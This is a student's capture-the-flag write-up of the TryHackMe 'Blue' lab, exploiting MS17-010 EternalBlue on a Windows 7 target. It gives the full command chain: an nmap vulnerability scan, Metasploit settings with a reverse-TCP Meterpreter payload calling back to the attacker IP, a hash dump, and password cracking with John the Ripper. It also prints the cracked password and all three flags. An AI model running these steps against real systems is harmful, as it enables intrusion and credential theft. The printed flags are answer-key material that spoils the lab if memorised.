

TryHackMe — Blue Room

Penetration Test Recap | MS17-010 EternalBlue | Date: 22 May 2026

Target Information

Target IP	10.82.188.127
OS	Windows 7 Professional SP1 x64
Hostname	JON-PC
Attacker IP (VPN)	192.168.234.216
Vulnerability	MS17-010 (EternalBlue)
CVE	CVE-2017-0143

Step 1 — Reconnaissance (nmap)

Scanned the target machine to discover open ports and detect vulnerabilities. Since the machine does not respond to ping, the **-Pn** flag was used to skip host discovery.

```
nmap -sV -sC -Pn --script vuln 10.82.188.127
```

Port	Service	Notes
135	msrpc	Windows RPC
139	netbios-ssn	NetBIOS
445	microsoft-ds	SMB — VULNERABLE to MS17-010
3389	tcpwrapped	RDP — MS12-020 DoS only

Step 2 — Exploitation (Metasploit / EternalBlue)

Launched Metasploit and configured the EternalBlue exploit to gain a remote shell on the target.

Launch Metasploit:

```
msfconsole
```

Search for exploit:

```
search ms17-010
```

Load exploit:

```
use exploit/windows/smb/ms17_010_eternalblue
```

Set payload:

```
set payload windows/x64/meterpreter/reverse_tcp
```

Prevent session loop:

```
set ExitOnSession true
```

Set target IP:

```
set RHOSTS 10.82.188.127
```

Set attacker IP:

```
set LHOST 192.168.234.216
```

Run exploit:

```
run
```

Result: Meterpreter session opened with **NT AUTHORITY\SYSTEM** access.

Step 3 — Privilege Escalation & Post Exploitation

Verify Access

```
getuid
```

```
getsystem
```

Both confirmed NT AUTHORITY\SYSTEM — highest privilege level on Windows.

Dump Password Hashes

```
hashdump
```

User	Hash (NTLM)
Administrator	31d6cfe0d16ae931b73c59d7e0c089c0
Guest	31d6cfe0d16ae931b73c59d7e0c089c0
Jon	ffb43f0de35be4d9917ac0cc8ad57f8d

Crack Password with John the Ripper

```
echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > hash.txt
```

```
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Result: Jon's password cracked — **alqfna22**

Step 4 — Capturing Flags

Located and read all 3 flags from the target machine:

Flag 1 — c:\flag1.txt

```
flag{access_the_machine}
```

Flag 2 — c:\Windows\System32\config\flag2.txt

```
flag{sam_database_elevated_access}
```

Flag 3 — c:\Users\Jon\Documents\flag3.txt

```
flag{admin_documents_can_be_valuable}
```

Incident Report — Problems & Solutions

1. Session Flood — Exploit Running in a Loop

Problem: After running the exploit, Metasploit was not configured with `ExitOnSession=true`, causing it to repeatedly create new sessions every few seconds. This resulted in 200+ sessions being opened and overwhelming both Metasploit and the target machine.

Solution: Killed all sessions and background jobs using `sessions -K` and `jobs -K`. Set `ExitOnSession` true before re-running the exploit to prevent looping.

```
set ExitOnSession true jobs -K sessions -K
```

2. Meterpreter Sessions Dying Repeatedly

Problem: EternalBlue works by corrupting Windows memory, making the resulting shell inherently unstable. The Meterpreter session kept dying within seconds before commands could be run.

Solution: Switched from using a basic shell + shell_to_meterpreter upgrade to getting Meterpreter directly via the windows/x64/meterpreter/reverse_tcp payload. Commands were executed immediately after session opened.

```
set payload windows/x64/meterpreter/reverse_tcp
```

3. Process Migration Failing

Problem: Attempts to migrate to spoolsv.exe (PID 1276) and services.exe (PID 664) both failed with 'undefined method pid for nil' error, indicating the session was already in an unstable state.

Solution: Skipped migration and executed commands immediately upon session opening. Despite no successful migration, SYSTEM access was maintained and all objectives were completed.

N/A — Worked around by acting fast

4. AttackBox 1-Hour Time Limit Reached

Problem: The free TryHackMe AttackBox has a 1-hour daily limit. The limit was reached mid-session before all flags were captured.

Solution: Switched to using the student's own Kali Linux machine with OpenVPN to connect to the TryHackMe network, bypassing the AttackBox time limit entirely.

```
sudo openvpn ~/Downloads/eu-west-1-salahm2005-regular.ovpn
```

5. OpenVPN Config Not Found on Kali

Problem: The OpenVPN config file was downloaded on the Windows host instead of the Kali VM, causing a 'file not found' error when trying to connect.

Solution: Downloaded the config file directly from tryhackme.com/access using the browser on the Kali machine.

```
sudo openvpn ~/Downloads/eu-west-1-salahm2005-regular.ovpn
```

Summary

Objective	Result
Vulnerability Discovery	MS17-010 confirmed via nmap --script vuln
Initial Access	SYSTEM shell via EternalBlue exploit
Privilege Level	NT AUTHORITY\SYSTEM
Credentials Obtained	Jon : alqfna22
Flags Captured	3 / 3
Room Status	COMPLETE